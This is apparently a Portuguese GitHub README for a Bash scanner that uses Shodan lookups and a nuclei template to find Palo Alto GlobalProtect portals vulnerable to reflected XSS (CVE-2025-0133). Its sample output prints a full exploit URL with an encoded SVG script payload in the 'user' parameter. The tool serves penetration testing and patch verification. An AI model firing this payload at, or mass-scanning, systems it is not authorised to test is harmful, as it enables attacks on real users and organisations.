inteleon404/cve-2025-0133Vulnerabilidade de XSS refletido encontrada no Gateway e Portal do GlobalProtect da Palo Alto. Atacantes podem injetar scripts maliciosos através de requisições manipuladas.
Uma ferramenta automatizada de scanner baseada em Bash para detectar a vulnerabilidade CVE-2025-0133 de XSS Refletido em Palo Alto GlobalProtect Gateway & Portal usando nuclei e shodanx.
Autor:
Data: 2025-06-23
Severidade: Médio
ID CVE: CVE-2025-0133
Tipo de Vulnerabilidade: Cross-Site Scripting Refletido (XSS)
Testado Contra: Palo Alto Networks GlobalProtect Portal (PAN-OS)
Esta ferramenta ajuda testadores de penetração e pesquisadores de segurança a identificar rapidamente domínios ou IPs vulneráveis relacionados ao problema CVE-2025-0133.
Ela utiliza templates do nuclei e integração com consultas Shodan (shodanx) para encontrar e escanear alvos de forma eficiente.
shodanx em domínios únicos para coletar hosts relacionadosnuclei com um template personalizado CVE-2025-0133 para escanear alvos.txt e .json$PATHCVE-2025-0133 localizado em:/home/user/nuclei-templates/http/cves/2025/CVE-2025-0133.yaml (atualize o caminho conforme necessário)pip install git+https://github.com/RevoltSecurities/ShodanX
Se o erro mostrar: "error: externally-managed-environment"
pip install git+https://github.com/RevoltSecurities/ShodanX --break-system-packages
⚠️ Nota: a opção
--break-system-packagesé necessária em alguns sistemas (especialmente Debian/Ubuntu) para permitir que o pip instale pacotes fora de um ambiente virtual sem erros de permissão.
👉 Certifique-se de que shodanx está disponível no seu $PATH.
Você pode testá-lo com:
shodanx -h
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
Verifique se está instalado:
nuclei -version
Em seguida, atualize os templates:
nuclei -update-templates
┌──(user㉿administrator)-[~]
└─$ ./cve20250133.sh -h
Usage: ./cve20250133.sh <domain-or-file>
Scan CVE-2025-0133 vulnerabilities using nuclei and shodanx.
If input is a file, scan domains/IPs from the file.
If input is a domain, run shodanx to find related IPs/domains and scan them.
Options:
-h, --help, help Show this help message and exit.
┌──(user㉿administrator)-[~]
└─$ ./cve20250133.sh domain.com
Scan Start Time: 2025-06-24 16:33:51
▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▗ ▄▖▄▖
▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▛▌▜ ▄▌▄▌
▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ █▌▟▖▄▌▄▌
-ＩＮＴＥＬＥＯＮ４０４
[✔] Input is a single domain: domain.com — Running ShodanX first
_ _
| | | (_\ /
, | | __ __| __, _ _ \/
/ \_|/ \ / \_/ | / | / |/ | /\
\/ | |_/\__/ \_/|_/\_/|_/ | |_/ _/ \_/
- RevoltSecurities
[version]:shodanx current version v1.1.1 (latest)
[*] Scanning domain 123.45.67.890...
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.5
projectdiscovery.io
[INF] Current nuclei version: v3.4.5 (latest)
[INF] Current nuclei-templates version: v10.2.3 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 105
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[INF] Scan completed in 850.496188ms. 1 matches found.
[CVE-2025-0133] [http] [medium] https://123.45.67.890/ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E&domain=%28empty_domain%29&computer=computer
------------------------------------------------------
┌──(user㉿administrator)-[~]
└─$ ./cve20250133.sh file.txt
Scan Start Time: 2025-06-24 16:36:37
▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▗ ▄▖▄▖
▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▛▌▜ ▄▌▄▌
▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ █▌▟▖▄▌▄▌
-ＩＮＴＥＬＥＯＮ４０４
[✔] Input is a file: file.txt — Skipping ShodanX
[*] Scanning domain 123.45.67.890 ...
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.5
projectdiscovery.io
[INF] Current nuclei version: v3.4.5 (latest)
[INF] Current nuclei-templates version: v10.2.3 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 105
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[INF] Scan completed in 28.825193ms. 1 matches found.
[CVE-2025-0133] [http] [medium] https://123.45.67.890/ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E&domain=%28empty_domain%29&computer=computer
------------------------------------------------------
Vulnerabilidade de Cross-Site Scripting Refletido (XSS) no Palo Alto GlobalProtect Gateway & Portal permitindo que atacantes injetem scripts maliciosos por meio de requisições manipuladas. Corrija seus sistemas atualizando para as versões mais recentes do Palo Alto Networks para mitigar este problema.
Este projeto está licenciado sob a Licença MIT - veja o arquivo LICENSE para detalhes.